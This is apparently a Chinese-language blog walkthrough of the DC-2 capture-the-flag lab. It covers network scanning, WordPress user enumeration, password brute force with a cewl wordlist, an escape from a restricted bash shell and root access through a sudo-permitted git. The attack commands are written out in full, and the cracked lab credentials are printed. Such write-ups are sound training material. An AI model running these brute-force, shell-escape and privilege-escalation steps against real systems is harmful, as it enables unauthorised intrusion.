DC-2

靶场信息:

靶场下载地址:http://www.five86.com/downloads/DC-2.zip

网络信息:

kali:192.168.0.25
靶机:192.168.0.

信息收集

扫描存活主机:

arp-scan -l

image.png
发现192.168.0.131存活

使用nmap进行更详细的扫描:

nmap -A 192.168.0.131 -O

image.png
可以看到该主机开放了http80服务和
中间件:Apache/2.4.10

flag1:ip地址重定向

访问一下http服务
image.png
访问http://192.168.0.131时,网站跳转到了dc-2

该技术是ip地址重定向,通过绑定主机名或域名与ip来达到解析的目的,可以屏蔽恶意网站或加快访问。

访问需要修改hosts文件
linux添加hosts文件的方法:
sudo bash -c 'echo [ip] [跳转的地址] >> /ect/hosts'

在kali输入命令:

sudo bash -c 'echo 192.168.0.131 dc-2 > /etc/hosts'

# 或者修改/etc/hosts文件也是可以的
vim /etc/hosts
192.168.0.131 dc-2

image.png
增加重定向地址,即可正常访问web服务:
image.png
image.png

有一个flag,访问一下:
image.png
flag1提示:
你通常的单词表可能不起作用,所以,也许你只需要cewl。

cewl 是一个字典在线生成工具

密码越多越好,但有时你就是无法赢得所有的密码。
以一个人的身份登录以查看下一个标志。
如果找不到,请以另一个用户登录。

flag2:爆破用户进后台

使用dirb扫描目录,发现有一个/wp-admin/
image.png

访问,发现是一个登录页面:
image.png

上面提示我们需要用cewl生成密码字典,先使用wpscan进行用户枚举
使用wpscan扫描:

wpscan --url http://dc-2/ -e

image.png
image.png
扫描到了三个账号,分别是:admin、jerry、tom

有了账号还需要密码,新建一个txt文件做用户字典,然后使用cewl生成密码字典:

vim user.txt		# 新建txt作用户字典

admin
jerry
tom

image.png

┌──(root㉿kali)-[~/Documents]
└─# cewl http://dc-2/ -w user_passwd.txt		# 使用cewl生成密码字典
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)

image.png

最后使用wpscan进行爆破,或者使用burp是可以的:

┌──(root㉿kali)-[~/Documents]
└─# wpscan --url http://dc-2 -U user.txt -P user_passwd.txt

image.png
扫出了两个匹配的账号密码:

jerry/adipiscing
tom/parturient

返回登录页面http://dc-2/up-admin/,使用获取到的账号密码进行登录:
image.png

发现flag2:
image.png
如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到了另一个入口。

flag3

作者提示无法使用wordpress,也就是80端口,尝试一下从ssh服务,7744端口入手
需要使用tom用户才可以进行登录,jarry用户是无法进行登录的:

┌──(root㉿kali)-[~/Documents]
└─# ssh tom@192.168.0.131 -p 7744  
passwd:parturient

ls发现flag3.txt,权限不够无法查看
image.png

查看权限:
shell权限受限了,无法使用cat命令查看flag3.txt
image.png

尝试使用其他命令进行文件读取:

tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found

tom@DC-2:~$ more flag3.txt
-rbash: more: command not found

tom@DC-2:~$ /bin/cat flag3.txt
-rbash: /bin/cat: restricted: cannot specify `/' in command names

tom@DC-2:~$ head flag3.txt
-rbash: head: command not found

tom@DC-2:~$ tail flag3.txt
-rbash: tail: command not found

tom@DC-2:~$ less flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
flag3.txt (END)
# 可怜的老汤姆总是追着杰瑞跑。也许他应该为自己造成的压力而死。flag3.txt(结束)

使用less命令可以进行读取文件的查看,vi命令也可以

没看懂作者想表达什么,使用su切换jerry用户

tom@DC-2:~$ su jerry
-rbash: su: command not found

rbash"是一个名为"restricted bash"的工具,它是bash shell的一种受限版本

flag4 rbash绕过

查看当前的环境变量:

tom@DC-2:~$ echo $PATH
/home/tom/usr/bin

在/home/tom/usr/bin下,所以shell被限制了,导致不能执行所有的命令,
有两种可绕过的方式:

  • 转义环境变量的方式
vi test.txt
:set shell=/bin/bash
shell
  • 定义一个环境变量,再添加新的环境变量,可以得到一个shell
BASH_CMD[a]=/bin/sh;a
/bin/bash

这里使用环境变量的方法,比较快捷:

ztom@DC-2:~$ export PATH=$PATH:/bin/
tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a
$ export PATH=$PATH:/bin/
$ export PATH=$PATH:/usr/bin
$ whoami
tom

image.png

rbash绕过之后就可以使用su登录到jerry

$ su jerry
Password: adipiscing
jerry@DC-2:/home/tom$ 

jerry@DC-2:/home/tom$ ls
ls: cannot open directory .: Permission denied
jerry@DC-2:/home/tom$ cd
jerry@DC-2:~$ ls
flag4.txt		# 发现flag4
jerry@DC-2:~$ cat flag4.txt
Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

很高兴看到您已经完成了这一步-但您还没有到家。
你仍然需要获得最终的旗帜(唯一真正重要的旗帜!!)这里没有提示——你现在要靠自己了。
:-)走吧-离开这里!!!!

作者说没有提示,但是他暗示我们可以使用git

flag5 git提权

sudo -l

jerry@DC-2:~$ sudo -l
Matching Defaults entries for jerry on DC-2:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jerry may run the following commands on DC-2:
    (root) NOPASSWD: /usr/bin/git

提示不需要密码就可以使用git

sudo git help config
!/bin/bash

image.png

使用find命令查找带flag名的文件居然找不到,直接搜了所有.txt的文件,发现了一个flag.txt,打开,发现这是最后一个flag,也就是flag5
image.png
image.png

root@DC-2:/home/jerry# find / -type f -name "*txt*"
root@DC-2:/home/jerry# cat /root/final-flag.txt
 __    __     _ _       _                    _ 
/ / /\ \ \___| | |   __| | ___  _ __   ___  / \
\ \/  \/ / _ \ | |  / _` |/ _ \| '_ \ / _ \/  /
 \  /\  /  __/ | | | (_| | (_) | | | |  __/\_/ 
  \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___\/   


Congratulatons!!!

A special thanks to all those who sent me tweets
and provided me with feedback - it's all greatly
appreciated.

If you enjoyed this CTF, send me a tweet via @DCAU7.

恭喜!!特别感谢所有给我发推特和提供反馈的人——我非常感激。
如果你喜欢这个CTF,请通过@DCAU7给我发一条推文。

posted @ 2024-01-18 17:04  imawuya  阅读(36)  评论(0)    收藏  举报
@keyframes spin3D{from{transform:rotate3d(0.5,0.5,0.5,360deg)}to{transform:rotate3d(0deg)}}#loading{height:100%;background-color:#1d2630;display:flex;justify-content:center;align-items:center;position:fixed;top:0;left:0;right:0;overflow:hidden;z-index:99999999}.spinner-box{width:300px;height:300px;display:flex;justify-content:center;align-items:center;background-color:transparent}.leo{position:absolute;display:flex;justify-content:center;align-items:center;border-radius:50%}.blue-orbit{width:165px;height:165px;border:1px solid #91daffa5;animation:spin3D 3s linear .2s infinite}.green-orbit{width:120px;height:120px;border:1px solid #91ffbfa5;animation:spin3D 2s linear 0s infinite}.red-orbit{width:90px;height:90px;border:1px solid #ffca91a5;animation:spin3D 1s linear 0s infinite}.white-orbit{width:60px;height:60px;border:2px solid #fff;animation:spin3D 10s linear 0s infinite}.w1{transform:rotate3D(1,1,1,90deg)}.w2{transform:rotate3D(1,2,0.5,90deg)}.w3{transform:rotate3D(0.5,1,2,90deg)}